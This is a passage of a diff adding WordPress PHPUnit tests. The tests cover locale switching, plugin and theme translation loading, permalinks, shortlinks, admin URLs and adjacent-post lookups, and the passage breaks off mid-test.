+		add_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+		load_textdomain( 'internationalized-plugin', WP_LANG_DIR . '/plugins/internationalized-plugin-de_DE.mo' );
+
+		$expected_output_final      = i18n_plugin_test();
+		$is_textdomain_loaded_final = is_textdomain_loaded( 'internationalized-plugin' );
+
+		unload_textdomain( 'internationalized-plugin' );
+		remove_filter( 'locale', array( $this, 'filter_set_locale_to_german' ) );
+
+		// Text domain loaded just in time.
+		$this->assertSame( 'Das ist ein Dummy Plugin', $expected_output_before );
+		$this->assertTrue( $is_textdomain_loaded_before );
+
+		// Text domain unloaded.
+		$this->assertSame( 'This is a dummy plugin', $expected_output_after );
+		$this->assertFalse( $is_textdomain_loaded_after );
+
+		// Text domain loaded manually again.
+		$this->assertSame( 'Das ist ein Dummy Plugin', $expected_output_final );
+		$this->assertTrue( $is_textdomain_loaded_final );
+	}
+
+	/**
+	 * @ticket 26511
+	 */
+	public function test_plugin_translation_after_switching_locale() {
+		require_once DIR_TESTDATA . '/plugins/internationalized-plugin.php';
+
+		switch_to_locale( 'de_DE' );
+		$expected = i18n_plugin_test();
+		restore_previous_locale();
+
+		$this->assertSame( 'Das ist ein Dummy Plugin', $expected );
+	}
+
+	/**
+	 * @ticket 37997
+	 */
+	public function test_plugin_translation_after_switching_locale_twice() {
+		require_once DIR_TESTDATA . '/plugins/internationalized-plugin.php';
+
+		switch_to_locale( 'de_DE' );
+		$expected_de_DE = i18n_plugin_test();
+
+		switch_to_locale( 'es_ES' );
+		$expected_es_ES = i18n_plugin_test();
+
+		restore_current_locale();
+
+		$this->assertSame( 'Das ist ein Dummy Plugin', $expected_de_DE );
+		$this->assertSame( 'This is a dummy plugin', $expected_es_ES );
+	}
+
+	/**
+	 * @ticket 26511
+	 */
+	public function test_theme_translation_after_switching_locale() {
+		switch_theme( 'internationalized-theme' );
+
+		require_once get_stylesheet_directory() . '/functions.php';
+
+		switch_to_locale( 'de_DE' );
+		$expected = i18n_theme_test();
+		restore_previous_locale();
+
+		switch_theme( WP_DEFAULT_THEME );
+
+		$this->assertSame( 'Das ist ein Dummy Theme', $expected );
+	}
+
+	/**
+	 * @ticket 38485
+	 */
+	public function test_plugin_translation_with_user_locale() {
+		require_once DIR_TESTDATA . '/plugins/internationalized-plugin.php';
+
+		set_current_screen( 'dashboard' );
+		wp_set_current_user( self::$user_id );
+
+		$expected = i18n_plugin_test();
+
+		set_current_screen( 'front' );
+
+		$this->assertSame( 'Das ist ein Dummy Plugin', $expected );
+	}
+
+	/**
+	 * @ticket 38485
+	 */
+	public function test_theme_translation_with_user_locale() {
+		switch_theme( 'internationalized-theme' );
+		set_current_screen( 'dashboard' );
+		wp_set_current_user( self::$user_id );
+
+		require_once get_stylesheet_directory() . '/functions.php';
+
+		$expected = i18n_theme_test();
+
+		set_current_screen( 'front' );
+		switch_theme( WP_DEFAULT_THEME );
+
+		$this->assertSame( 'Das ist ein Dummy Theme', $expected );
+	}
+
+	/**
+	 * @ticket 37997
+	 */
+	public function test_get_locale_is_called_only_once_per_textdomain() {
+		$textdomain = 'foo-bar-baz';
+
+		add_filter( 'locale', array( $this, '_filter_locale_count' ) );
+
+		__( 'Foo', $textdomain );
+		__( 'Bar', $textdomain );
+		__( 'Baz', $textdomain );
+		__( 'Foo Bar', $textdomain );
+		__( 'Foo Bar Baz', $textdomain );
+
+		remove_filter( 'locale', array( $this, '_filter_locale_count' ) );
+
+		$this->assertFalse( is_textdomain_loaded( $textdomain ) );
+		$this->assertSame( 1, $this->locale_count );
+	}
+
+	public function _filter_locale_count( $locale ) {
+		++$this->locale_count;
+
+		return $locale;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/l10n/localeSwitcher.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/l10n/localeSwitcher.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/l10n/localeSwitcher.php	(revision 56912)
@@ -0,0 +1,388 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ * @group 26511
+ */
+class Tests_Locale_Switcher extends WP_UnitTestCase {
+	/**
+	 * @var string
+	 */
+	protected $locale = '';
+
+	/**
+	 * @var string
+	 */
+	protected $previous_locale = '';
+
+	public function setUp() {
+		parent::setUp();
+
+		$this->locale = '';
+		$this->previous_locale = '';
+
+		unset( $GLOBALS['l10n'] );
+		unset( $GLOBALS['l10n_unloaded'] );
+		_get_path_to_translation( null, true );
+	}
+
+	public function tearDown() {
+		unset( $GLOBALS['l10n'] );
+		unset( $GLOBALS['l10n_unloaded'] );
+		_get_path_to_translation( null, true );
+
+		parent::tearDown();
+	}
+
+	public function test_switch_to_non_existent_locale_returns_false() {
+		$this->assertFalse( switch_to_locale( 'foo_BAR' ) );
+	}
+
+	public function test_switch_to_non_existent_locale_does_not_change_locale() {
+		switch_to_locale( 'foo_BAR' );
+
+		$this->assertSame( 'en_US', get_locale() );
+	}
+
+	public function test_switch_to_locale_returns_true() {
+		$expected = switch_to_locale( 'en_GB' );
+
+		// Cleanup.
+		restore_previous_locale();
+
+		$this->assertTrue( $expected );
+	}
+
+	public function test_switch_to_locale_changes_the_locale() {
+		switch_to_locale( 'en_GB' );
+
+		$locale = get_locale();
+
+		// Cleanup.
+		restore_previous_locale();
+
+		$this->assertSame( 'en_GB', $locale );
+	}
+
+	public function test_switch_to_locale_loads_translation() {
+		switch_to_locale( 'es_ES' );
+
+		$actual = __( 'Invalid parameter.' );
+
+		// Cleanup.
+		restore_previous_locale();
+
+		$this->assertSame( 'Parámetro no válido. ', $actual );
+	}
+
+	public function test_switch_to_locale_changes_wp_locale_global() {
+		global $wp_locale;
+
+		$expected = array(
+			'thousands_sep' => '.',
+			'decimal_point' => ',',
+		);
+
+		switch_to_locale( 'de_DE' );
+
+		$wp_locale_de_DE = clone $wp_locale;
+
+		// Cleanup.
+		restore_previous_locale();
+
+		$this->assertEqualSetsWithIndex( $expected, $wp_locale_de_DE->number_format );
+	}
+
+	public function test_switch_to_locale_en_US() {
+		switch_to_locale( 'en_GB' );
+		$locale_en_GB = get_locale();
+		switch_to_locale( 'en_US' );
+		$locale_en_US = get_locale();
+
+		// Cleanup.
+		restore_current_locale();
+
+		$this->assertSame( 'en_GB', $locale_en_GB );
+		$this->assertSame( 'en_US', $locale_en_US );
+	}
+
+	public function test_switch_to_locale_multiple_times() {
+		switch_to_locale( 'en_GB' );
+		switch_to_locale( 'es_ES' );
+		$locale = get_locale();
+
+		// Cleanup.
+		restore_previous_locale();
+		restore_previous_locale();
+
+		$this->assertSame( 'es_ES', $locale );
+	}
+
+	public function test_switch_to_locale_multiple_times_loads_translation() {
+		switch_to_locale( 'en_GB' );
+		switch_to_locale( 'de_DE' );
+		switch_to_locale( 'es_ES' );
+
+		$actual = __( 'Invalid parameter.' );
+
+		// Cleanup.
+		restore_previous_locale();
+		restore_previous_locale();
+		restore_previous_locale();
+
+		$this->assertSame( 'Parámetro no válido. ', $actual );
+	}
+
+	public function test_restore_previous_locale_without_switching() {
+		$this->assertFalse( restore_previous_locale() );
+	}
+
+	public function test_restore_previous_locale_changes_the_locale_back() {
+		switch_to_locale( 'en_GB' );
+
+		// Cleanup.
+		restore_previous_locale();
+
+		$this->assertSame( 'en_US', get_locale() );
+	}
+
+	public function test_restore_previous_locale_after_switching_multiple_times() {
+		switch_to_locale( 'en_GB' );
+		switch_to_locale( 'es_ES' );
+		restore_previous_locale();
+
+		$locale = get_locale();
+
+		// Cleanup.
+		restore_previous_locale();
+
+		$this->assertSame( 'en_GB', $locale );
+	}
+
+	public function test_restore_previous_locale_restores_translation() {
+		switch_to_locale( 'es_ES' );
+		restore_previous_locale();
+
+		$actual = __( 'Invalid parameter.' );
+
+		$this->assertSame( 'Invalid parameter.', $actual );
+	}
+
+	public function test_restore_previous_locale_action_passes_previous_locale() {
+		switch_to_locale( 'en_GB' );
+		switch_to_locale( 'es_ES' );
+
+		add_action( 'restore_previous_locale', array( $this, 'store_locale' ), 10, 2 );
+
+		restore_previous_locale();
+
+		$previous_locale = $this->previous_locale;
+
+		// Cleanup.
+		restore_previous_locale();
+
+		$this->assertSame( 'es_ES', $previous_locale );
+	}
+
+	public function test_restore_previous_locale_restores_wp_locale_global() {
+		global $wp_locale;
+
+		$expected = array(
+			'thousands_sep' => ',',
+			'decimal_point' => '.',
+		);
+
+		switch_to_locale( 'de_DE' );
+		restore_previous_locale();
+
+		$this->assertEqualSetsWithIndex( $expected, $wp_locale->number_format );
+	}
+
+	public function test_restore_current_locale_without_switching() {
+		$this->assertFalse( restore_current_locale() );
+	}
+
+	public function test_restore_current_locale_after_switching_multiple_times() {
+		switch_to_locale( 'en_GB' );
+		switch_to_locale( 'nl_NL' );
+		switch_to_locale( 'es_ES' );
+
+		restore_current_locale();
+
+		$this->assertSame( 'en_US', get_locale() );
+	}
+
+	public function store_locale( $locale, $previous_locale ) {
+		$this->locale = $locale;
+		$this->previous_locale = $previous_locale;
+	}
+
+	public function test_is_locale_switched_if_not_switched() {
+		$this->assertFalse( is_locale_switched() );
+	}
+
+	public function test_is_locale_switched_original_locale() {
+		$original_locale = get_locale();
+
+		switch_to_locale( 'en_GB' );
+		switch_to_locale( $original_locale );
+
+		$is_locale_switched = is_locale_switched();
+
+		restore_current_locale();
+
+		$this->assertTrue( $is_locale_switched );
+	}
+
+	public function test_is_locale_switched() {
+		switch_to_locale( 'en_GB' );
+		switch_to_locale( 'nl_NL' );
+
+		$is_locale_switched = is_locale_switched();
+
+		restore_current_locale();
+
+		$this->assertTrue( $is_locale_switched );
+	}
+
+	public function test_switch_to_site_locale_if_user_locale_is_set() {
+		global $l10n, $wp_locale_switcher;
+
+		$site_locale = get_locale();
+
+		$user_id = $this->factory()->user->create( array(
+			'role'   => 'administrator',
+			'locale' => 'de_DE',
+		) );
+
+		wp_set_current_user( $user_id );
+		set_current_screen( 'dashboard' );
+
+		$locale_switcher = clone $wp_locale_switcher;
+
+		$wp_locale_switcher = new WP_Locale_Switcher();
+		$wp_locale_switcher->init();
+
+		$user_locale = get_user_locale();
+
+		$this->assertSame( 'de_DE', $user_locale );
+
+		load_default_textdomain( $user_locale );
+		$language_header_before_switch = $l10n['default']->headers['Language']; // de_DE
+
+		$locale_switched_user_locale = switch_to_locale( $user_locale ); // False.
+		$locale_switched_site_locale = switch_to_locale( $site_locale ); // True.
+		$site_locale_after_switch = get_locale();
+		$language_header_after_switch = isset( $l10n['default'] ); // en_US
+
+		restore_current_locale();
+
+		$language_header_after_restore = $l10n['default']->headers['Language']; // de_DE
+
+		$wp_locale_switcher = $locale_switcher;
+
+		set_current_screen( 'front' );
+
+		$this->assertFalse( $locale_switched_user_locale );
+		$this->assertTrue( $locale_switched_site_locale );
+		$this->assertSame( $site_locale, $site_locale_after_switch );
+		$this->assertSame( 'de_DE', $language_header_before_switch );
+		$this->assertFalse( $language_header_after_switch );
+		$this->assertSame( 'de_DE', $language_header_after_restore );
+	}
+
+	public function test_switch_to_different_site_locale_if_user_locale_is_set() {
+		global $l10n, $wp_locale_switcher;
+
+		// Change site locale to es_ES.
+		add_filter( 'locale', array( $this, 'filter_locale' ) );
+
+		$site_locale = get_locale();
+
+		$user_id = $this->factory()->user->create( array(
+			'role'   => 'administrator',
+			'locale' => 'de_DE',
+		) );
+
+		wp_set_current_user( $user_id );
+		set_current_screen( 'dashboard' );
+
+		$locale_switcher = clone $wp_locale_switcher;
+
+		$wp_locale_switcher = new WP_Locale_Switcher();
+		$wp_locale_switcher->init();
+
+		$user_locale = get_user_locale();
+
+		$this->assertSame( 'de_DE', $user_locale );
+
+		load_default_textdomain( $user_locale );
+		$language_header_before_switch = $l10n['default']->headers['Language']; // de_DE
+
+		$locale_switched_user_locale = switch_to_locale( $user_locale ); // False.
+		$locale_switched_site_locale = switch_to_locale( $site_locale ); // True.
+		$site_locale_after_switch = get_locale();
+		$language_header_after_switch = $l10n['default']->headers['Language']; // es_ES
+
+		restore_current_locale();
+
+		$language_header_after_restore = $l10n['default']->headers['Language']; // de_DE
+
+		$wp_locale_switcher = $locale_switcher;
+
+		set_current_screen( 'front' );
+
+		remove_filter( 'locale', array( $this, 'filter_locale' ) );
+
+		$this->assertFalse( $locale_switched_user_locale );
+		$this->assertTrue( $locale_switched_site_locale );
+		$this->assertSame( $site_locale, $site_locale_after_switch );
+		$this->assertSame( 'de_DE', $language_header_before_switch );
+		$this->assertSame( 'es_ES', $language_header_after_switch );
+		$this->assertSame( 'de_DE', $language_header_after_restore );
+	}
+
+	public function test_multiple_switches_to_site_locale_and_user_locale() {
+		global $wp_locale_switcher;
+
+		$site_locale = get_locale();
+
+		$user_id = $this->factory()->user->create( array(
+			'role'   => 'administrator',
+			'locale' => 'en_GB',
+		) );
+
+		wp_set_current_user( $user_id );
+		set_current_screen( 'dashboard' );
+
+		$locale_switcher = clone $wp_locale_switcher;
+
+		$wp_locale_switcher = new WP_Locale_Switcher();
+		$wp_locale_switcher->init();
+
+		$user_locale = get_user_locale();
+
+		load_default_textdomain( $user_locale );
+
+		require_once DIR_TESTDATA . '/plugins/internationalized-plugin.php';
+
+		switch_to_locale( 'de_DE' );
+		switch_to_locale( $site_locale );
+
+		$expected = i18n_plugin_test();
+
+		restore_current_locale();
+
+		$wp_locale_switcher = $locale_switcher;
+
+		set_current_screen( 'front' );
+
+		$this->assertSame( 'en_US', get_locale() );
+		$this->assertSame( 'This is a dummy plugin', $expected );
+	}
+
+	public function filter_locale() {
+		return 'es_ES';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link.php	(revision 56912)
@@ -0,0 +1,194 @@
+<?php
+/**
+ * @group link
+ */
+class Tests_Link extends WP_UnitTestCase {
+
+	function _get_pagenum_link_cb( $url ) {
+		return $url . '/WooHoo';
+	}
+
+	/**
+	 * @ticket 8847
+	 */
+	function test_get_pagenum_link_case_insensitivity() {
+		$old_req_uri = $_SERVER['REQUEST_URI'];
+
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		add_filter( 'home_url', array( $this, '_get_pagenum_link_cb' ) );
+		$_SERVER['REQUEST_URI'] = '/woohoo';
+		$paged = get_pagenum_link( 2 );
+
+		remove_filter( 'home_url', array( $this, '_get_pagenum_link_cb' ) );
+		$this->assertEquals( $paged, home_url( '/WooHoo/page/2/' ) );
+
+		$_SERVER['REQUEST_URI'] = $old_req_uri;
+	}
+
+	function test_wp_get_shortlink() {
+		$post_id = self::factory()->post->create();
+		$post_id2 = self::factory()->post->create();
+
+		// Basic case
+		$this->assertEquals( get_permalink( $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+
+		unset( $GLOBALS['post'] );
+
+		// Global post is not set
+		$this->assertEquals( '', wp_get_shortlink( 0, 'post' ) );
+		$this->assertEquals( '', wp_get_shortlink( 0 ) );
+		$this->assertEquals( '', wp_get_shortlink() );
+
+		$GLOBALS['post'] = get_post( $post_id );
+
+		// Global post is set
+		$this->assertEquals( get_permalink( $post_id ), wp_get_shortlink( 0, 'post' ) );
+		$this->assertEquals( get_permalink( $post_id ), wp_get_shortlink( 0 ) );
+		$this->assertEquals( get_permalink( $post_id ), wp_get_shortlink() );
+
+		// Not the global post
+		$this->assertEquals( get_permalink( $post_id2 ), wp_get_shortlink( $post_id2, 'post' ) );
+
+		unset( $GLOBALS['post'] );
+
+		// Global post is not set, once again
+		$this->assertEquals( '', wp_get_shortlink( 0, 'post' ) );
+		$this->assertEquals( '', wp_get_shortlink( 0 ) );
+		$this->assertEquals( '', wp_get_shortlink() );
+
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		// With a permalink structure set, get_permalink() will no longer match.
+		$this->assertNotEquals( get_permalink( $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+
+		// Global post and permalink structure are set
+		$GLOBALS['post'] = get_post( $post_id );
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( 0, 'post' ) );
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( 0 ) );
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink() );
+	}
+
+	function test_wp_get_shortlink_with_page() {
+		$post_id = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		// Basic case
+		// Don't test against get_permalink() since it uses ?page_id= for pages.
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		$this->assertEquals( home_url( '?p=' . $post_id ), wp_get_shortlink( $post_id, 'post' ) );
+	}
+
+	/**
+	 * @ticket 26871
+	 */
+	function test_wp_get_shortlink_with_home_page() {
+		$post_id = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', $post_id );
+
+		$this->assertEquals( home_url( '/' ), wp_get_shortlink( $post_id, 'post' ) );
+
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		$this->assertEquals( home_url( '/' ), wp_get_shortlink( $post_id, 'post' ) );
+	}
+
+	/**
+	 * @ticket 30910
+	 */
+	public function test_get_permalink_should_not_reveal_post_name_for_post_with_post_status_future() {
+		update_option( 'permalink_structure','/%year%/%monthnum%/%day%/%postname%/' );
+
+		flush_rewrite_rules();
+
+		$p = self::factory()->post->create( array(
+			'post_status' => 'publish',
+			'post_date'   => strftime( '%Y-%m-%d %H:%M:%S', strtotime( '+1 day' ) )
+		) );
+
+		$non_pretty_permalink = add_query_arg( 'p', $p, trailingslashit( home_url() ) );
+
+		$this->assertEquals( $non_pretty_permalink, get_permalink( $p ) );
+	}
+
+	/**
+	 * @ticket 30910
+	 */
+	public function test_get_permalink_should_not_reveal_post_name_for_cpt_with_post_status_future() {
+		update_option( 'permalink_structure','/%year%/%monthnum%/%day%/%postname%/' );
+
+		register_post_type( 'wptests_pt', array( 'public' => true ) );
+
+		flush_rewrite_rules();
+
+		$p = self::factory()->post->create( array(
+			'post_status' => 'future',
+			'post_type'   => 'wptests_pt',
+			'post_date'   => strftime( '%Y-%m-%d %H:%M:%S', strtotime( '+1 day' ) )
+		) );
+
+		$non_pretty_permalink = add_query_arg( array(
+			'post_type' => 'wptests_pt',
+			'p' => $p,
+		), trailingslashit( home_url() ) );
+
+		$this->assertEquals( $non_pretty_permalink, get_permalink( $p ) );
+	}
+
+	/**
+	 * @ticket 1914
+	 */
+	public function test_unattached_attachment_has_a_pretty_permalink() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		$attachment_id = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment',
+			'post_title' => 'An Attachment!',
+			'post_status' => 'inherit',
+		) );
+
+		$attachment = get_post( $attachment_id );
+
+		$this->assertSame( home_url( user_trailingslashit( $attachment->post_name ) ), get_permalink( $attachment_id ) );
+	}
+
+	/**
+	 * @ticket 1914
+	 */
+	public function test_attachment_attached_to_non_existent_post_type_has_a_pretty_permalink() {
+		global $wp_post_types;
+
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		register_post_type( 'not_a_post_type', array( 'public' => true ) );
+
+		flush_rewrite_rules();
+
+		$post_id = self::factory()->post->create( array( 'post_type' => 'not_a_post_type' ) );
+
+		$attachment_id = self::factory()->attachment->create_object( 'image.jpg', $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment',
+			'post_title' => 'An Attachment!',
+			'post_status' => 'inherit',
+		) );
+
+		$attachment = get_post( $attachment_id );
+
+		$this->assertSame( get_permalink( $post_id ) . user_trailingslashit( $attachment->post_name ), get_permalink( $attachment_id ) );
+
+		foreach( $wp_post_types as $id => $pt ) {
+			if ( 'not_a_post_type' === $pt->name ) {
+				unset( $wp_post_types[ $id ] );
+				break;
+			}
+		}
+
+		$this->assertSame( home_url( user_trailingslashit( $attachment->post_name ) ), get_permalink( $attachment_id ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/adminUrl.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/adminUrl.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/adminUrl.php	(revision 56912)
@@ -0,0 +1,56 @@
+<?php
+
+/**
+ * @group link
+ */
+class Tests_Link_Admin extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 37446
+	 */
+	public function test_self_admin_url() {
+		$this->assertSame( admin_url(), self_admin_url() );
+	}
+
+	/**
+	 * @ticket 37446
+	 */
+	public function test_self_admin_url_with_path() {
+		$path = 'options-general.php';
+
+		$this->assertSame( admin_url( $path ), self_admin_url( $path ) );
+	}
+
+	/**
+	 * @ticket 37446
+	 */
+	public function test_self_admin_url_with_path_and_scheme() {
+		$path = 'options-general.php';
+		$scheme = 'https';
+
+		$this->assertSame( admin_url( $path, $scheme ), self_admin_url( $path, $scheme ) );
+	}
+
+	/**
+	 * @ticket 37446
+	 */
+	public function test_self_admin_url_filtered() {
+		$path = 'options-general.php';
+		$scheme = 'https';
+
+		add_filter( 'self_admin_url', array( $this, 'filter_self_admin_url' ), 10, 3 );
+		$result = self_admin_url( $path, $scheme );
+		remove_filter( 'self_admin_url', array( $this, 'filter_self_admin_url' ), 10 );
+
+		$expected = home_url( '/global-admin/' . $path, $scheme );
+
+		$this->assertSame( $expected, $result );
+	}
+
+	/**
+	 * @ticket 37446
+	 */
+	public function filter_self_admin_url( $url, $path, $scheme ) {
+		return home_url( path_join( '/global-admin/', $path ), $scheme );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getAdjacentPost.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getAdjacentPost.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getAdjacentPost.php	(revision 56912)
@@ -0,0 +1,251 @@
+<?php
+/**
+ * @group link
+ * @covers ::get_adjacent_post
+ */
+class Tests_Link_GetAdjacentPost extends WP_UnitTestCase {
+	protected $exclude_term;
+
+	/**
+	 * @ticket 17807
+	 */
+	public function test_get_adjacent_post() {
+		// Need some sample posts to test adjacency
+		$post_one = self::factory()->post->create_and_get( array(
+			'post_title' => 'First',
+			'post_date' => '2012-01-01 12:00:00'
+		) );
+
+		$post_two = self::factory()->post->create_and_get( array(
+			'post_title' => 'Second',
+			'post_date' => '2012-02-01 12:00:00'
+		) );
+
+		$post_three = self::factory()->post->create_and_get( array(
+			'post_title' => 'Third',
+			'post_date' => '2012-03-01 12:00:00'
+		) );
+
+		$post_four = self::factory()->post->create_and_get( array(
+			'post_title' => 'Fourth',
+			'post_date' => '2012-04-01 12:00:00'
+		) );
+
+		// Assign some terms
+		wp_set_object_terms( $post_one->ID, 'wordpress', 'category', false );
+		wp_set_object_terms( $post_three->ID, 'wordpress', 'category', false );
+
+		wp_set_object_terms( $post_two->ID, 'plugins', 'post_tag', false );
+		wp_set_object_terms( $post_four->ID, 'plugins', 'post_tag', false );
+
+		// Test normal post adjacency
+		$this->go_to( get_permalink( $post_two->ID ) );
+
+		$this->assertEquals( $post_one, get_adjacent_post( false, '', true ) );
+		$this->assertEquals( $post_three, get_adjacent_post( false, '', false ) );
+
+		$this->assertNotEquals( $post_two, get_adjacent_post( false, '', true ) );
+		$this->assertNotEquals( $post_two, get_adjacent_post( false, '', false ) );
+
+		// Test category adjacency
+		$this->go_to( get_permalink( $post_one->ID ) );
+
+		$this->assertEquals( '', get_adjacent_post( true, '', true, 'category' ) );
+		$this->assertEquals( $post_three, get_adjacent_post( true, '', false, 'category' ) );
+
+		// Test tag adjacency
+		$this->go_to( get_permalink( $post_two->ID ) );
+
+		$this->assertEquals( '', get_adjacent_post( true, '', true, 'post_tag' ) );
+		$this->assertEquals( $post_four, get_adjacent_post( true, '', false, 'post_tag' ) );
+
+		// Test normal boundary post
+		$this->go_to( get_permalink( $post_two->ID ) );
+
+		$this->assertEquals( array( $post_one ), get_boundary_post( false, '', true ) );
+		$this->assertEquals( array( $post_four ), get_boundary_post( false, '', false ) );
+
+		// Test category boundary post
+		$this->go_to( get_permalink( $post_one->ID ) );
+
+		$this->assertEquals( array( $post_one ), get_boundary_post( true, '', true, 'category' ) );
+		$this->assertEquals( array( $post_three ), get_boundary_post( true, '', false, 'category' ) );
+
+		// Test tag boundary post
+		$this->go_to( get_permalink( $post_two->ID ) );
+
+		$this->assertEquals( array( $post_two ), get_boundary_post( true, '', true, 'post_tag' ) );
+		$this->assertEquals( array( $post_four ), get_boundary_post( true, '', false, 'post_tag' ) );
+	}
+
+	/**
+	 * @ticket 22112
+	 */
+	function test_get_adjacent_post_exclude_self_term() {
+		// Bump term_taxonomy to mimic shared term offsets.
+		global $wpdb;
+		$wpdb->insert( $wpdb->term_taxonomy, array( 'taxonomy' => 'foo', 'term_id' => 12345, 'description' => '' ) );
+
+		$include = self::factory()->term->create( array(
+			'taxonomy' => 'category',
+			'name' => 'Include',
+		) );
+		$exclude = self::factory()->category->create();
+
+		$one = self::factory()->post->create_and_get( array(
+			'post_date' => '2012-01-01 12:00:00',
+			'post_category' => array( $include, $exclude ),
+		) );
+
+		$two = self::factory()->post->create_and_get( array(
+			'post_date' => '2012-01-02 12:00:00',
+			'post_category' => array(),
+		) );
+
+		$three = self::factory()->post->create_and_get( array(
+			'post_date' => '2012-01-03 12:00:00',
+			'post_category' => array( $include, $exclude ),
+		) );
+
+		$four = self::factory()->post->create_and_get( array(
+			'post_date' => '2012-01-04 12:00:00',
+			'post_category' => array( $include ),
+		) );
+
+		$five = self::factory()->post->create_and_get( array(
+			'post_date' => '2012-01-05 12:00:00',
+			'post_category' => array( $include, $exclude ),
+		) );
+
+		// First post
+		$this->go_to( get_permalink( $one ) );
+		$this->assertEquals( $two, get_adjacent_post( false, array(), false ) );
+		$this->assertEquals( $three, get_adjacent_post( true, array(), false ) );
+		$this->assertEquals( $two, get_adjacent_post( false, array( $exclude ), false ) );
+		$this->assertEquals( $four, get_adjacent_post( true, array( $exclude ), false ) );
+		$this->assertEmpty( get_adjacent_post( false, array(), true ) );
+
+		// Fourth post
+		$this->go_to( get_permalink( $four ) );
+		$this->assertEquals( $five, get_adjacent_post( false, array(), false ) );
+		$this->assertEquals( $five, get_adjacent_post( true, array(), false ) );
+		$this->assertEmpty( get_adjacent_post( false, array( $exclude ), false ) );
+		$this->assertEmpty( get_adjacent_post( true, array( $exclude ), false ) );
+
+		$this->assertEquals( $three, get_adjacent_post( false, array(), true ) );
+		$this->assertEquals( $three, get_adjacent_post( true, array(), true ) );
+		$this->assertEquals( $two, get_adjacent_post( false, array( $exclude ), true ) );
+		$this->assertEmpty( get_adjacent_post( true, array( $exclude ), true ) );
+
+		// Last post
+		$this->go_to( get_permalink( $five ) );
+		$this->assertEquals( $four, get_adjacent_post( false, array(), true ) );
+		$this->assertEquals( $four, get_adjacent_post( true, array(), true ) );
+		$this->assertEquals( $four, get_adjacent_post( false, array( $exclude ), true ) );
+		$this->assertEquals( $four, get_adjacent_post( true, array( $exclude ), true ) );
+		$this->assertEmpty( get_adjacent_post( false, array(), false ) );
+	}
+
+	/**
+	 * @ticket 32833
+	 */
+	public function test_get_adjacent_post_excluded_terms() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$p1 = self::factory()->post->create( array( 'post_date' => '2015-08-27 12:00:00' ) );
+		$p2 = self::factory()->post->create( array( 'post_date' => '2015-08-26 12:00:00' ) );
+		$p3 = self::factory()->post->create( array( 'post_date' => '2015-08-25 12:00:00' ) );
+
+		wp_set_post_terms( $p2, array( $t ), 'wptests_tax' );
+
+		// Fake current page.
+		$_post = isset( $GLOBALS['post'] ) ? $GLOBALS['post'] : null;
+		$GLOBALS['post'] = get_post( $p1 );
+
+		$found = get_adjacent_post( false, array( $t ), true, 'wptests_tax' );
+
+		if ( ! is_null( $_post ) ) {
+			$GLOBALS['post'] = $_post;
+		} else {
+			unset( $GLOBALS['post'] );
+		}
+
+		// Should skip $p2, which belongs to $t.
+		$this->assertEquals( $p3, $found->ID );
+	}
+
+	/**
+	 * @ticket 32833
+	 */
+	public function test_get_adjacent_post_excluded_terms_should_not_require_posts_to_have_terms_in_any_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t = self::factory()->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$p1 = self::factory()->post->create( array( 'post_date' => '2015-08-27 12:00:00' ) );
+		$p2 = self::factory()->post->create( array( 'post_date' => '2015-08-26 12:00:00' ) );
+		$p3 = self::factory()->post->create( array( 'post_date' => '2015-08-25 12:00:00' ) );
+
+		wp_set_post_terms( $p2, array( $t ), 'wptests_tax' );
+
+		// Make sure that $p3 doesn't have the 'Uncategorized' category.
+		wp_delete_object_term_relationships( $p3, 'category' );
+
+		// Fake current page.
+		$_post = isset( $GLOBALS['post'] ) ? $GLOBALS['post'] : null;
+		$GLOBALS['post'] = get_post( $p1 );
+
+		$found = get_adjacent_post( false, array( $t ), true, 'wptests_tax' );
+
+		if ( ! is_null( $_post ) ) {
+			$GLOBALS['post'] = $_post;
+		} else {
+			unset( $GLOBALS['post'] );
+		}
+
+		// Should skip $p2, which belongs to $t.
+		$this->assertEquals( $p3, $found->ID );
+	}
+
+	/**
+	 * @ticket 35211
+	 */
+	public function test_excluded_terms_filter() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
